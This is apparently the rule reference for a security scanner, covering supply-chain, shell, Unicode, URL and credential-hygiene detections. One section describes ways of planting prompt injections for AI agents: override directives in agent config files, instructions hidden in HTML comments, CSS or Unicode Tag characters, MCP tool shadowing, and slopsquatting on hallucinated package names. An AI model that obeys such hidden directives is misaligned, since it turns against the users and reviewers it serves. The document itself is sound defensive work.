208 detection rules across 29 categories. All rules run at every tier, with no features gated behind paid plans.
Every Rule ID below is a stable identifier from the engine. Use it verbatim in policy severity_overrides, allowlist_rules, or tirith explain --rule <id>.
Git, Docker, pip, npm, registries — package and supply-chain attack surface
| Rule ID | Severity | Description |
|---|---|---|
| git_typosquat | MEDIUM | A git clone URL targets a repository whose owner or name is within Levenshtein distance 1 of a known popular repository on GitHub, GitLab, or Bitbucket. |
| docker_untrusted_registry | MEDIUM | A Docker or Podman command pulls an image from a registry not in the trusted set: docker.io, ghcr.io, gcr.io, quay.io, registry.k8s.io, mcr.microsoft.com, public.ecr.aws. |
| pip_url_install | MEDIUM | A pip install command references a URL that does not point to the official PyPI registry. |
| npm_url_install | MEDIUM | An npm install command references a URL that does not point to registry.npmjs.org. |
| web3_rpc_endpoint | LOW | The URL matches a known Web3 JSON-RPC provider (Infura, Alchemy, Moralis, QuickNode, etc.) with RPC path patterns. |
| web3_address_in_url | LOW | The URL contains an Ethereum address pattern (0x followed by 40 hex characters). |
| vet_not_configured | LOW | A cargo install or cargo add command runs without a supply-chain/config.toml present in the current directory. The cargo-vet tool provides supply-chain auditing for Rust dependencies. |
| repo_add_from_pipe | HIGH | A network download (curl/wget) is piped through `tee` into an apt sources.list file, or redirected directly into one. The repository definition is added without review and without verifying its signing key. |
| unsigned_repo_trust | HIGH | An apt sources entry uses `[trusted=yes]`, or an apt command passes `--allow-unauthenticated` / `--allow-insecure-repositories`. Either disables GPG signature verification, so packages are installed without an authenticity check. |
| gpg_check_disabled | HIGH | A dnf/yum/zypper command passes `--nogpgcheck`, a yum/dnf repo config sets `gpgcheck=0`, or a pacman config sets `SigLevel = Never`. All disable package signature verification. |
| kubectl_apply_remote | HIGH | A `kubectl apply`/`create`/`replace` command is given `-f` with a remote URL. The manifest is fetched and applied to the cluster without local review; shortened URLs additionally hide the real source. |
| helm_untrusted_repo | MEDIUM | A `helm install`/`upgrade`/`repo add`/`pull` command references a chart repository URL that is not in the set of recognized chart repositories. |
| terraform_remote_module | MEDIUM | A `terraform init -from-module` (or `tofu`) command copies a root module from a remote source — a git URL, an http(s) archive, or a code-hosting path — rather than a local directory or the Terraform Registry. |
| brew_untrusted_tap | HIGH | A `brew install` command is given a raw URL instead of a formula name, or a `brew tap` is pointed at an explicit non-GitHub git remote. Homebrew formulae are executable Ruby. |
| workflow_unpinned_action | MEDIUM | A GitHub Actions workflow `uses:` a third-party action pinned to a mutable ref — a branch (`@main`) or a tag (`@v3`) — rather than an immutable 40-character commit SHA. Tags and branches can be re-pointed by whoever controls the action repository. |
| workflow_dangerous_trigger | HIGH | A GitHub Actions workflow is triggered by `pull_request_target`. Unlike `pull_request`, this trigger grants the workflow repository secrets and a privileged token even for pull requests from forks. |
| workflow_curl_pipe_shell | HIGH | A workflow `run:` step fetches a script over the network (curl/wget) and pipes it directly into a shell interpreter. The fetched code is whatever the server returns at run time. |
| workflow_untrusted_input | HIGH | A workflow `run:` step interpolates a `${{ github.event.* }}` (or `github.head_ref`) expression — a PR title, issue body, branch name, comment, … — directly into a shell command. Those values come from untrusted contributors. |
| dockerfile_unpinned_image | MEDIUM | A Dockerfile `FROM` instruction uses a base image on the mutable `latest` tag, or with no tag at all (Docker defaults to `latest`), and with no `@sha256:` digest pin. |
| package_script_dangerous | HIGH | A `package.json` preinstall, install, or postinstall lifecycle script runs a dangerous command — a pipe-to-shell, a base64-decode-and-execute payload, an inline interpreter one-liner that shells out or opens a network connection, or a download-and-run sequence. |
| package_not_found_in_registry | MEDIUM | The package name was resolved against its registry's public API and the API responded HTTP 404 — the registry has no such package. This is distinct from `ApiSignals::Unavailable` (the registry could not be reached, or there is no adapter), which is honest no-signal rather than a positive `not found` claim. A package that does not exist in the registry cannot be the package the operator intended; the install will fail at the package-manager step OR will resolve to a same-named package on a different (possibly attacker-controlled) registry. |
| package_maintainer_change_recent | MEDIUM | A diff between the two most recent registry snapshots tirith has on disk for this package shows that the maintainer set changed within the recency window. This is recorded snapshot-vs-snapshot data — it captures real history that a single registry-API response cannot, since a single response carries the *current* maintainer set with no record of who held it last week. tirith writes one snapshot per successful `--online` fetch (reusing the existing API response — no extra request). |
| package_ownership_transferred | MEDIUM | Two registry snapshots tirith recorded for this package show every previous maintainer is gone and the new maintainer set is non-empty — the detectable shape of a full ownership transfer. This is a stronger signal than the legacy `ApiProvenance::ownership_transferred` flag (which only fires when the *current* maintainer list is empty), because it correlates two points in time and proves the change rather than inferring it from absence-of-data. |
| package_osv_advisory_active | HIGH | The package@version pair matched one or more advisories in the OSV.dev database via the shipping runtime threat-intel cache (`threatdb_api.rs`). The version-aware `<name>[@<version>]` CLI parsing routes the version through to the cache lookup — bare `<name>` cannot correlate to a version-pinned advisory. |
| package_dependency_confusion | HIGH | tirith fetched a package from the public registry whose name matches a pattern the policy declares is for internal use only. Sources: (a) the operator-supplied `package_policy.internal_package_names` policy list (M6 ch7 schema location); (b) registry-namespace shape — an `@<reserved-org>/<name>` npm package resolved on the public registry. Without an operator-supplied internal-names list, only the obvious public-namespace shape trips this. |
| package_install_script_network_call | MEDIUM | tirith's install-script analysis found a network-call pattern (curl/wget/fetch/http.get/...) inside an npm lifecycle script, a `setup.py` body, or a `build.rs` body. The analysis is read-only and operates on text already on disk OR text embedded in the registry-API response — it NEVER executes the script and NEVER downloads a package. Per-ecosystem scope: npm registry response carries `scripts.{...}` inline; PyPI METADATA does NOT carry `setup.py`; crates.io does NOT carry `build.rs` — those two need the installed-tree path (script text on disk under `node_modules` / `site-packages` / source extraction). |
| package_repo_mismatch | HIGH | Under `--online` only: tirith fetched the package's registry-claimed repository URL and verified (a) the URL is reachable (HTTP 200), (b) it parses as a known git-hosting URL, and (c) the hosted repository's manifest mentions this package name. A mismatch — dead URL, unparseable URL, or hosted manifest naming a different package — emits this rule. Offline default state is `Unverifiable` and no finding is emitted. |
| package_policy_newer_than_days | HIGH | The policy's `package_policy.warn_newer_than_days` or `block_newer_than_days` crosses the registry-reported `package_age_days`. Requires `--online` to gather the age signal — offline runs cannot fire this rule. Block fires when both thresholds are configured and the age is at or below the Block threshold; otherwise Warn. |
| package_policy_low_downloads | MEDIUM | The policy's `package_policy.warn_low_downloads_below` is at or above the registry-reported `recent_downloads` count. Requires `--online` to gather the downloads signal — offline runs cannot fire this rule. Warn only; there is no Block elevation path (low downloads alone is too weak). |
| package_policy_typosquat_distance | HIGH | The `name_vs_popular` classification is `NearPopular` AND the resolved edit distance is at or below the policy's `block_typosquat_distance`. Block. The threat DB must be installed for `NearPopular` to fire — see `threat-db update`. |
| package_policy_unknown_package_with_install_scripts | HIGH | The package's `name_vs_popular` classification is `Unknown` AND its install-script analysis flagged either `has_network_call` or `has_shell_spawn`. Block. Requires the install-script signal to be available; offline `tirith install` cannot evaluate this and prints '(install-script signal not available offline — pass `--online` to evaluate)'. |
| package_policy_not_found | HIGH | Requires `--online`: the registry positively responded HTTP 404 for `(ecosystem, name)`. `PackageExistence::Unknown` (timeout / unsupported registry / offline) does not fire this rule — we never block on absence-of-data, only on a positive 404. The ch6 sibling `package_not_found_in_registry` fires Medium-baseline on the same evidence; this rule adds the policy-driven Block elevation. |
Pipe-to-shell, decode-execute, command substitution, and dangerous invocations
| Rule ID | Severity | Description |
|---|---|---|
| pipe_to_interpreter | HIGH | A command pipes output directly to a shell interpreter (bash, sh, zsh, python, node, etc.). The piped content executes immediately without the user seeing it. |
| curl_pipe_shell | HIGH | A curl command pipes downloaded content directly to a shell interpreter. The remote server controls what executes on your machine. |
| wget_pipe_shell | HIGH | A wget command pipes downloaded content directly to a shell interpreter. |
| httpie_pipe_shell | HIGH | An HTTPie command (http or https CLI tool) pipes downloaded content to a shell interpreter. |
| xh_pipe_shell | HIGH | An xh command (HTTPie-compatible HTTP client) pipes downloaded content to a shell interpreter. |
| dotfile_overwrite | HIGH | A command redirects output to a dotfile in the home directory (> ~/.bashrc, >> $HOME/.profile, etc.). This can inject persistent shell hooks. |
| archive_extract | MEDIUM | A tar, unzip, or 7z command extracts to the root directory, home directory, or $HOME. Archives may contain path traversal entries that overwrite critical files. |
| proc_mem_access | HIGH | A command reads from /proc/<pid>/mem or /proc/self/mem, which provides direct access to process memory. This is a common credential-harvesting technique. |
| docker_remote_priv_esc | CRITICAL | A Docker or Podman command connects to a remote daemon via tcp:// and uses --privileged or mounts the host root filesystem (--volume /:/). This combination grants full root access to the remote host. |
| credential_file_sweep | MEDIUM | A single command accesses two or more credential file paths (.ssh/id_*, .aws/credentials, .kube/config, .docker/config.json, .npmrc, .pypirc, .netrc, .gnupg/, .git-credentials, etc.). |
| base64_decode_execute | HIGH | A command decodes base64 content and pipes it to execution: base64 -d | bash, PowerShell -EncodedCommand, Buffer.from() in Node, or atob() chains. |
| data_exfiltration | HIGH | A curl or wget command uses upload flags (-T, --data-binary, --data-urlencode, --upload-file) pointing to an external host. This pattern is used to exfiltrate data. |
| wrapper_chain_too_deep | MEDIUM | A command pipes output into an interpreter hidden behind more wrapper layers (sudo, env -S, command, exec, nohup) than tirith's interpreter resolver will unwrap. Because the real sink interpreter cannot be resolved, the curl/wget/pipe-to-shell rules cannot fire — this rule closes that silent-evasion gap by surfacing the obfuscation itself. |
| ps_set_execution_policy_bypass | HIGH | A PowerShell command sets the script execution policy to Bypass — either via the Set-ExecutionPolicy cmdlet, or via the powershell.exe -ExecutionPolicy Bypass flag (also accepts the documented short alias -ep). Any form removes script signing enforcement for the affected scope. |
| ps_defender_exclusion | HIGH | A PowerShell command calls Add-MpPreference with -ExclusionPath, -ExclusionProcess, or -ExclusionExtension, hiding files, processes, or file extensions from Windows Defender scans. |
| ps_inline_download_execute | HIGH | A PowerShell command uses iex / invoke-expression as the leading command with at least one URL anywhere in the command or its arguments, e.g. iex (iwr https://example.com/install.ps1). The pipe form (iwr url | iex) is handled by pipe_to_interpreter. |
| sudo_shell_spawn | HIGH | A `sudo` invocation whose inner command is an interactive shell (`sh`, `bash`, `zsh`, `fish`, `dash`, `ksh`, `tcsh`, `csh`, `ash`, `mksh`, `pwsh`, `powershell`, `nu`). Subsequent commands typed into the spawned root shell run with full privileges and are NOT intercepted by tirith. |
| sudo_env_preserve_sensitive | HIGH | A `sudo -E` / `--preserve-env` invocation where at least one sensitive env var from `assets/data/sensitive_env.toml` is currently set in the parent shell. The targeted form `--preserve-env=VAR_LIST` also fires when the listed names intersect the sensitive set (presence-only — tirith does not read the values). |
| sudo_tee_system_file | HIGH | A `sudo tee <path>` invocation where the target path lives under `/etc/…`, `/usr/local/bin/…`, `/usr/bin/…`, `/usr/sbin/…`, `/lib/…`, or matches `/etc/cron*` / `/etc/systemd/*`. Targets under `/tmp`, `/var/tmp`, `~`, `$HOME`, and repo-relative paths never fire. |
| sudo_download_install | HIGH | A `sudo curl|wget|fetch -o <path>` (or `--output=…` / `-O …`) invocation where the destination path is under a protected system directory (`/etc/`, `/usr/local/bin/`, `/usr/bin/`, `/usr/sbin/`, `/lib/`, `/etc/cron*`, `/etc/systemd/*`). Downloads to `/tmp`, `~`, `$HOME`, or repo-relative paths never fire. |
| sudo_recursive_perms_broad_path | HIGH | A `sudo chmod|chown -R …` invocation where the trailing positional path is one of `/`, `/home`, `/usr`, `/etc` (with or without a trailing slash). Narrower paths (`/etc/myapp`, `/home/me/project`, `/usr/local/bin/myapp`) never fire — the rule is intentionally narrow to keep false-positives low. |
Production cloud/k8s, labeled SSH hosts, IaC apply/destroy, and container exec
| Rule ID | Severity | Description |
|---|---|---|
| context_prod_destructive_command | HIGH | The active provider context (kube current-context / AWS_PROFILE / gcloud config / az account) is labeled `critical` or `production` and the command's verb is destructive. |
| context_prod_write_operation | MEDIUM | The active provider context is labeled `critical` or `production` and the command's verb mutates state without deleting it (apply / patch / upgrade / start / stop / cp into a prod prefix). |
| context_prod_credential_change | HIGH | The active provider context is labeled `critical` or `production` and the command mutates IAM / RBAC / access-key state. |
| ssh_remote_destructive_on_labeled_host | HIGH | An `ssh host '<cmd>'` invocation targets a host listed in the SSH host-labels file with criticality `critical` / `production` / `prod` / `live` / `p0` / `p1`, and the inner command's verb is destructive (e.g. `sudo systemctl restart`, `rm -rf`, `dd`), a write mutation (`systemctl reload`, `iptables`), or a credential change (`passwd`, `useradd`). |
| ssh_remote_shell_on_labeled_host | INFO | A bare `ssh host` (no inner command) was issued against a host whose label is `critical` / `production` / `prod` / `live` / `p0` / `p1`. The finding is a reminder, not a block. |
| iac_apply_without_plan | HIGH | A `terraform apply` / `pulumi up` / `tofu apply` invocation has no positional plan-file argument, and `policy.iac_require_plan_before_apply` is on. Run `terraform plan -out tfplan && tirith iac check-plan tfplan && terraform apply tfplan` instead. |
| iac_apply_auto_approve | MEDIUM | A `terraform apply -auto-approve`, `pulumi up --yes`, or `tofu apply -auto-approve` invocation was issued and the active provider context is not labeled `critical` / `production`. CI workflows commonly run with these flags — see `false_positive_guidance`. |
| iac_apply_auto_approve_prod | HIGH | A `terraform apply -auto-approve` (or `pulumi up --yes`, `tofu apply -auto-approve`) invocation was issued and the active provider context is labeled `critical` / `production` / `prod` / `live` / `p0` / `p1`. Requires both the M8 ch1 context detection and an operator-labeled context. |
| iac_destroy_prod | HIGH | A `terraform destroy` / `pulumi destroy` / `tofu destroy` invocation was issued and the active provider context is labeled `critical` / `production`. The rule requires both the M8 ch1 context detection and an operator-labeled context. |
| iac_plan_high_risk_changes | MEDIUM | The `tirith iac check-plan <tfplan>` command parsed the saved plan's JSON (via `terraform show -json` or `pulumi preview --json`) and found at least one resource change that matches the high-risk categories: `aws_iam_*`, `*_security_group*`, `aws_s3_bucket_public_access_block`, `*_db_instance` deletes, `*_load_balancer*`. Surfaces the signal so the operator can review before applying. |
| iac_plan_hash_mismatch | HIGH | A `terraform apply <tfplan>` (or `tofu apply <tfplan>`) invocation was issued, `policy.iac_require_plan_before_apply` is on, and the SHA-256 hash of `<tfplan>` does not match any plan recorded in `state_dir()/iac_plans/`. |
| docker_run_privileged | HIGH | A `docker run` / `docker create` / `podman run` invocation whose argument list contains `--privileged` (or `--privileged=true`). Also fires when scanning a `.devcontainer/devcontainer.json` whose `runArgs` array contains `--privileged`. |
| docker_run_sensitive_bind_mount | HIGH | A `docker run` (or `docker create`, `podman run`) whose `-v src:dst[:opts]` / `--volume src:dst` / `--mount type=bind,source=src,…` argument names one of the documented sensitive source paths. Also fires when scanning a `.devcontainer/devcontainer.json` whose `runArgs` or `mounts` arrays expose a sensitive source. |
| docker_exec_prod_container | MEDIUM | A `docker exec <container> …` invocation where `<container>` has a `container:<name>` entry in `policy.context_labels` resolving to `prod` / `production` / `critical` / `live` / `p0` / `p1`. Fires regardless of the inner command — even a benign `docker exec payments-prod ls` triggers the audit-trail signal. |
AI config poisoning, prompt injection, and MCP server validation
| Rule ID | Severity | Description |
|---|---|---|
| config_injection | HIGH | An AI agent configuration file (.cursorrules, .claude/settings, MCP config, etc.) contains patterns that attempt to override the agent's instructions, bypass permissions, or inject new behavioral directives. |
| config_suspicious_indicator | MEDIUM | A configuration file contains weak but noteworthy patterns: claims of unrestricted access, overly broad permissions, or always-apply directives. |
| config_malformed | MEDIUM | A configuration file fails to parse as its expected format (JSON, YAML). This may indicate manual tampering, merge conflicts, or corruption. |
| config_non_ascii | MEDIUM | A configuration file that should contain only ASCII has non-ASCII bytes. This may be invisible Unicode used to hide instructions. |
| config_invisible_unicode | CRITICAL | A configuration file contains zero-width characters, bidi controls, or Unicode Tag characters. These are invisible and can carry hidden instructions for AI agents. |
| mcp_insecure_server | HIGH | An MCP (Model Context Protocol) server configuration uses insecure transport (e.g., http:// URL). Tool invocations and responses are transmitted in cleartext. |
| mcp_untrusted_server | MEDIUM | An MCP server is configured from a source that is not in the known-trusted registry list. |
| mcp_duplicate_server_name | LOW | Two or more MCP servers are configured with the same name. This can lead to tool shadowing where one server's tool implementation silently replaces another's. |
| mcp_overly_permissive | MEDIUM | An MCP server is configured with overly broad permissions that grant access to sensitive resources or operations. |
| mcp_suspicious_args | HIGH | An MCP server's command-line arguments contain shell metacharacters (;, |, &, backtick, $) that could be interpreted as command injection. |
| mcp_server_drift | MEDIUM | The MCP servers declared in this repository's configuration files no longer match the inventory recorded in `.tirith/mcp.lock`. A server may have been added or removed; an existing server may have changed transport (a swapped command, args, or remote URL), gained or lost an env variable, had a stored credential rotated (env value-hash or URL userinfo-hash change), or had its declared tools modified. None of these changes are inherently malicious — they are exactly what a config update looks like — but each is a security-relevant surface change that should be reviewed and the lockfile re-committed. Policy `scan.trusted_mcp_servers` filters drift entries by server name before a finding is built — a trusted name does not raise drift. Policy `scan.mcp_allowed_tools` adds a per-server tool gate: a newly-added tool outside the allowed set escalates the drift to High, and a lockfile that records a tool outside the allowed set surfaces a High-severity finding on its own. The rule also fires when `.tirith/mcp.lock` itself is unparseable (not valid JSON, or not matching the lockfile schema) — without a loadable baseline the scan cannot diff the current inventory at all, which is exactly the failure mode an attacker would use to hide an MCP-surface change behind a deliberately broken lockfile. |
| agent_instruction_hidden | HIGH | An AI agent-instruction file (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`, and similar) contains hidden content — a directive inside an HTML comment (`<!-- … -->`, which Markdown renders to nothing), or a visually-hidden HTML element (`hidden`, `aria-hidden`, `display:none`). These files legitimately contain *visible* instructions, so only *hidden* directives are flagged. |
Known-malicious packages, URLs, and IPs from the signed threat database
| Rule ID | Severity | Description |
|---|---|---|
| threat_malicious_package | CRITICAL | The package being installed is listed in the tirith threat intelligence database as known-malicious. Sources include the OpenSSF Malicious Packages dataset and the Datadog Malicious Software Packages dataset. The package may contain backdoors, data exfiltration, cryptocurrency miners, or other malware. |
| threat_malicious_ip | HIGH | A command references an IP address that appears in the tirith threat intelligence database as a known command-and-control server, botnet node, or other malicious infrastructure. Source: Feodo Tracker IP blocklist. |
| threat_package_typosquat | HIGH | The package being installed is listed in the ecosyste.ms confirmed typosquatting dataset. This means the package name was identified as a deliberate impersonation of a legitimate, popular package. Typosquats are a common supply chain attack vector. |
| threat_package_similar_name | MEDIUM | The package being installed has a name that differs by only one character from a well-known, popular package. This pattern is commonly used in typosquatting attacks but may also be a coincidence. The finding is advisory — verify the package name is intentional. |
| threat_malicious_url | HIGH | A URL in the command references a hostname known to distribute malware. This rule activates when optional keyed threat feeds (URLhaus) are configured. Phase B feature — requires feed configuration. |
| threat_phishing_url | HIGH | A URL in the command references a domain known for phishing attacks. This rule activates when optional keyed threat feeds (PhishingArmy, PhishTank) are configured. Phase B feature — requires feed configuration. |
| threat_tor_exit_node | MEDIUM | A command references an IP address that is a known Tor exit node. While Tor has legitimate privacy uses, connections to Tor exit nodes in automated commands may indicate traffic anonymization for malicious purposes. Phase B feature — requires feed configuration. |
| threat_threat_fox_ioc | HIGH | A command references an indicator of compromise (domain, IP, or URL) that is listed in the ThreatFox IOC database. This rule activates when optional keyed threat feeds are configured. Phase B feature — requires feed configuration. |
| threat_osv_vulnerable | HIGH | The package being installed has a known vulnerability or malware entry in the Open Source Vulnerabilities (OSV.dev) database. This rule uses real-time API lookup for live vulnerability data. Phase C feature — requires network access. |
| threat_cisa_kev | HIGH | The package being installed is associated with a CVE listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. These vulnerabilities are confirmed to be actively exploited. Phase C feature — requires runtime OSV.dev lookup for CVE-to-package correlation. |
| threat_suspicious_package | LOW | The package has characteristics often associated with malicious packages. Two paths emit this rule. (1) Real-time API lookups (deps.dev, ecosyste.ms) flag a very recently published package, a low download count, or a missing repository URL. (2) `tirith ecosystem scan` flags a declared dependency whose name is slopsquat-suspicious — not a known-real package, name-shaped like an LLM hallucination (a language prefix plus descriptive tokens, or a stack of generic filler words), and sitting near a real popular package. Slopsquatting is the registration of plausible-but-fake names that AI assistants tend to hallucinate when suggesting dependencies. |
| threat_safe_browsing | HIGH | A URL in the command is flagged by Google Safe Browsing as hosting malware, phishing content, or unwanted software. This rule requires the user to configure their own Google Safe Browsing API key. Phase C feature — requires API key configuration. |
ANSI escapes, bidi overrides, zero-width and control characters
| Rule ID | Severity | Description |
|---|---|---|
| ansi_escapes | HIGH | Pasted content contains ANSI escape sequences (ESC + [) that can manipulate the terminal display, cursor position, or window title. |
| control_chars | HIGH | The input contains control characters that overwrite displayed content: CR not followed by LF (display-overwriting), backspace, BEL, VT, FF, DEL, or OSC/APC/DCS escape sequences. |
| bidi_controls | CRITICAL | The input contains Unicode bidirectional control characters (U+202A-E, U+2066-2069, U+200E/F) that change text display direction. Code appears to read one way but executes differently. |
| zero_width_chars | CRITICAL | The input contains zero-width characters (ZWSP, ZWJ, ZWNJ, CGJ, soft hyphen, word joiner, Mongolian vowel separator, or misplaced BOM). These are invisible but may alter parsing. ZWJ/ZWNJ are suppressed in joining-script contexts where they serve a legitimate purpose. |
| hidden_multiline | HIGH | A multiline paste contains shell command patterns (curl, bash, sudo, rm, etc.) on non-first lines. Users often only read the first line of pasted content. |
| unicode_tags | CRITICAL | The input contains Unicode Tag characters that encode hidden ASCII. Each tag character maps to an ASCII character (U+E0041 = A), creating invisible text that can carry hidden instructions. |
| invisible_math_operator | MEDIUM | The input contains invisible Unicode mathematical operators: function application (U+2061), invisible times (U+2062), invisible separator (U+2063), or invisible plus (U+2064). |
| variation_selector | MEDIUM | The input contains Unicode variation selectors (VS1-VS256). While commonly used in emoji, they can encode hidden data steganographically. |
| invisible_whitespace | MEDIUM | The input contains unusual Unicode whitespace variants: en space, em space, figure space, medium mathematical space, etc. These are visually indistinguishable from regular spaces. |
| hangul_filler | MEDIUM | The input contains Hangul filler characters that are invisible in most terminal fonts. These can be used to embed hidden text. |
| confusable_text | HIGH | The input contains Unicode characters that look identical to ASCII: mathematical alphanumerics (U+1D400-U+1D7FF) near ASCII text, or Cyrillic/Greek confusables mixed into the same word as ASCII characters. |
Homograph attacks, punycode, confusable characters, IDN spoofing
| Rule ID | Severity | Description |
|---|---|---|
| non_ascii_hostname | HIGH | The hostname contains characters outside the ASCII range (bytes > 0x7F). Attackers use visually similar Unicode characters to impersonate legitimate domains. |
| punycode_domain | HIGH | The hostname contains a punycode-encoded label (xn-- prefix), which is the ASCII-compatible encoding of an internationalized domain name. The decoded characters may impersonate a trusted domain. |
| mixed_script_in_label | HIGH | A single DNS label in the hostname contains characters from multiple Unicode scripts (e.g., Latin mixed with Cyrillic). Legitimate domains almost never mix scripts within a label. |
| userinfo_trick | HIGH | The URL contains a userinfo component with a dot (e.g., http://[email protected]/). Browsers and tools resolve the actual host from after the @, but users see the fake domain first. |
| confusable_domain | HIGH | The domain matches the skeleton of a known high-value domain after Unicode confusable normalization, OCR confusion mapping (e.g., rn resembles m), or is within edit distance 1 of a known domain. |
| raw_ip_url | MEDIUM | The URL uses a raw IPv4 or IPv6 address instead of a hostname. Loopback addresses (127.x, ::1) are exempt. |
| non_standard_port | MEDIUM | A URL to a known high-value domain uses a port outside the standard set (80, 443, 22, 9418). This is unusual for legitimate services. |
| invalid_host_chars | HIGH | The hostname contains characters that are invalid in DNS labels: percent signs, backslashes, ASCII control characters, whitespace, or full-width dots (U+FF0E). |
| trailing_dot_whitespace | MEDIUM | The hostname ends with a dot or whitespace character, which may cause parser disagreements about the actual target host. |
| lookalike_tld | MEDIUM | The URL uses a TLD that resembles a common file extension (.zip, .mov, .app, .dev, .run). Attackers register these domains to trick users into thinking a URL is a file download. |
Loose permissions, exposed secrets, and risky file/credential handling
| Rule ID | Severity | Description |
|---|---|---|
| hygiene_private_key_loose_perms | HIGH | A `~/.ssh/id_*` private key (a file named `id_*` without a `.pub` suffix) has permission bits granting group or other any access (`mode & 0o077 != 0`). The comparison is mask-based, so a key at 0600 passes regardless of file-type / sticky bits across macOS and Linux. |
| hygiene_env_world_readable | HIGH | A `.env` / `.env.*` / `*.env` file in the repo tree has the other-read bit set (`mode & 0o004 != 0`). The repo walk skips `.git`, `node_modules`, `target`, and `vendor`. |
| hygiene_kubeconfig_group_readable | MEDIUM | `~/.kube/config` has permission bits granting group or other any access (`mode & 0o077 != 0`). |
| hygiene_npmrc_plaintext_token | HIGH | `~/.npmrc` contains an `_authToken` / `_password` / `_auth` assignment whose value is a literal (not an `${ENV}` reference). |
| hygiene_pypirc_plaintext_token | HIGH | `~/.pypirc` contains a `password` assignment with a literal value, or a literal `pypi-…` API token in a value position. |
| hygiene_ssh_config_unsafe_include | MEDIUM | `~/.ssh/config` contains an `Include` directive whose target is an absolute path outside `~/.ssh`, a `~/…` path outside `.ssh`, or a relative path that climbs out with `../`. |
| hygiene_git_credential_helper_store | MEDIUM | `~/.gitconfig` sets `credential.helper = store`, either as a one-line `credential.helper = store` or as `helper = store` inside a `[credential]` section. |
| hygiene_shell_history_secret_like | MEDIUM | A shell history (`~/.bash_history`, `~/.zsh_history`, `~/.history`, fish history) contains text matching tirith's SHIPPING high-confidence credential detector (`rules::credential`, the same provider-pattern + entropy gate the paste interceptor uses). No new regex is introduced for history scanning to keep false positives low. |
| hygiene_cloud_creds_bad_perms | HIGH | `~/.aws/credentials` (or `~/.aws/config`) has permission bits granting group or other any access (`mode & 0o077 != 0`). |
| hygiene_db_dump_in_repo | MEDIUM | A `*.dump` or `*.sql` file exists in the repo tree (the walk skips `.git`, `node_modules`, `target`, `vendor`, and dot-directories). |
Executing from tmp/untrusted locations and dynamic or obfuscated execution
| Rule ID | Severity | Description |
|---|---|---|
| exec_in_tmp | MEDIUM | The engine (with `exec_guard_enabled`) resolved the command leader to a path under /tmp or $TMPDIR using a stat-free string compare. No stat / signature / file-type probe runs on this hot-path check — run `tirith exec check` for full provenance. |
| exec_recently_modified | HIGH | `tirith exec check|provenance` stat'd the resolved executable and found its modification time within the 5-minute window. NEVER runs on the engine hot path (it requires a stat). |
| exec_world_writable | HIGH | `tirith exec check|provenance` found the world-write bit set on the resolved executable. NEVER runs on the engine hot path. |
| exec_shadows_system_command | MEDIUM | `tirith exec check` / `tirith path which` resolved the full $PATH and found the command resolves to a non-system path while a same-named binary exists in a system dir. NEVER runs on the engine hot path. |
| exec_unsigned | MEDIUM | `tirith exec check|provenance` ran `codesign --verify --strict` (macOS) with a 2-second timeout and it failed. On Linux/Windows the check reports not-applicable and this rule does not fire. NEVER runs on the engine hot path. |
| exec_in_repo_bin | MEDIUM | The engine (with `exec_guard_enabled`) resolved the command leader to a path inside the repo root via a stat-free prefix compare. No stat / signature / file-type probe runs here. Run `tirith exec check` for full provenance. |
| path_writable_dir_before_system | HIGH | The engine (with `exec_guard_enabled`) resolved the command leader from a directory that (a) appears in $PATH before a system dir, (b) is repo-local or under /tmp, and (c) is writable by the current user. The broader 'any writable dir before system' inventory is surfaced (informationally) by `tirith path audit`. |
| path_duplicate_command_name | MEDIUM | `tirith path audit` enumerated executables across $PATH dirs and found a name resolving in more than one. The reported entry points at the SHADOWED (later) copy. NEVER runs on the engine hot path. |
| path_dir_in_repo | MEDIUM | `tirith path audit` found a $PATH directory inside the repo root. NEVER runs on the engine hot path. |
| path_dir_in_tmp | HIGH | `tirith path audit` found a $PATH directory under /tmp or $TMPDIR. NEVER runs on the engine hot path. |
Hidden CSS/color text, comments, and notebook/HTML hidden instructions
| Rule ID | Severity | Description |
|---|---|---|
| notebook_hidden_content | HIGH | A Jupyter notebook (`.ipynb`) cell contains content hidden from the rendered view — invisible / bidirectional / zero-width characters in the cell source, a long base64-encoded blob embedded in the source, or a cell marked hidden via `metadata.jupyter.source_hidden` or a `hide_input` tag. |
| notebook_suspicious_output | HIGH | A stored cell output in a Jupyter notebook (`.ipynb`) carries hidden or active content — invisible / bidirectional / zero-width characters, an embedded `<script>` element, an inline event handler, a `javascript:` URI, a saved JavaScript (`application/javascript` / `text/javascript`) output, or content hidden via CSS — inside a saved `text/html`, JavaScript, or stream output. |
| svg_script_embedded | HIGH | An SVG file contains executable content — an embedded `<script>` element, an inline `on*` event-handler attribute, or a `javascript:` URI. A static SVG image (paths, shapes, gradients, text) needs none of these. |
| svg_external_reference | MEDIUM | An SVG file references content outside itself — a remote `xlink:href` / `href` (http(s) or protocol-relative), or an XXE external-entity declaration (`<!ENTITY … SYSTEM "…">`). A self-contained SVG image references nothing external. |
| hidden_css_content | HIGH | HTML content uses CSS properties to hide text: display:none, visibility:hidden, opacity:0, font-size:0, clip:rect(0...), or off-screen positioning (-9999px). |
| hidden_color_content | HIGH | HTML content has text with the same color as its background (white-on-white, etc.), making it invisible to humans but readable by text processors. |
| hidden_html_attribute | HIGH | HTML content uses the hidden attribute, aria-hidden=true, or similar attributes to hide elements from rendering. Hidden content may contain instructions for AI agents. |
| markdown_comment | INFO | A Markdown file contains HTML comments. These are invisible in rendered output but may contain hidden instructions for AI agents. |
| html_comment | INFO | An HTML file contains comments that are invisible in rendered output. |
Malicious escape sequences in program output (OSC52, title rewrite, clear)
| Rule ID | Severity | Description |
|---|---|---|
| output_osc52_clipboard_write | HIGH | An OSC 52 escape sequence appeared in the scanned output. `\e]52;<clipboard>;<base64>\a` is the xterm/iTerm/kitty clipboard-write protocol — content silently lands in the user's system clipboard. `tirith view` strips the sequence before printing; sanitized output is safe to display. |
| output_hidden_text | MEDIUM | Output contains text the user cannot see but downstream consumers (an AI agent reading the stream, a `grep`-on-log pipeline, a copy-paste into a chat client) still process. v1 detection is deliberately narrow: (i) explicit ANSI foreground == explicit ANSI background within the same SGR sequence (no inference of the user's terminal default colors), OR (ii) a zero-width-character run longer than 8 chars. Theme-dependent hiding (text inherits the user's default color) is out of v1. |
| output_fake_prompt | MEDIUM | Output ends with (or contains mid-stream) a line shaped like a typical shell prompt: a user@host fragment, a `$ ` / `# ` / `> ` trailer, or a `PS1`-like pattern with no preceding newline that breaks the illusion. Used by attackers running a fake interactive program that captures the user's next command. |
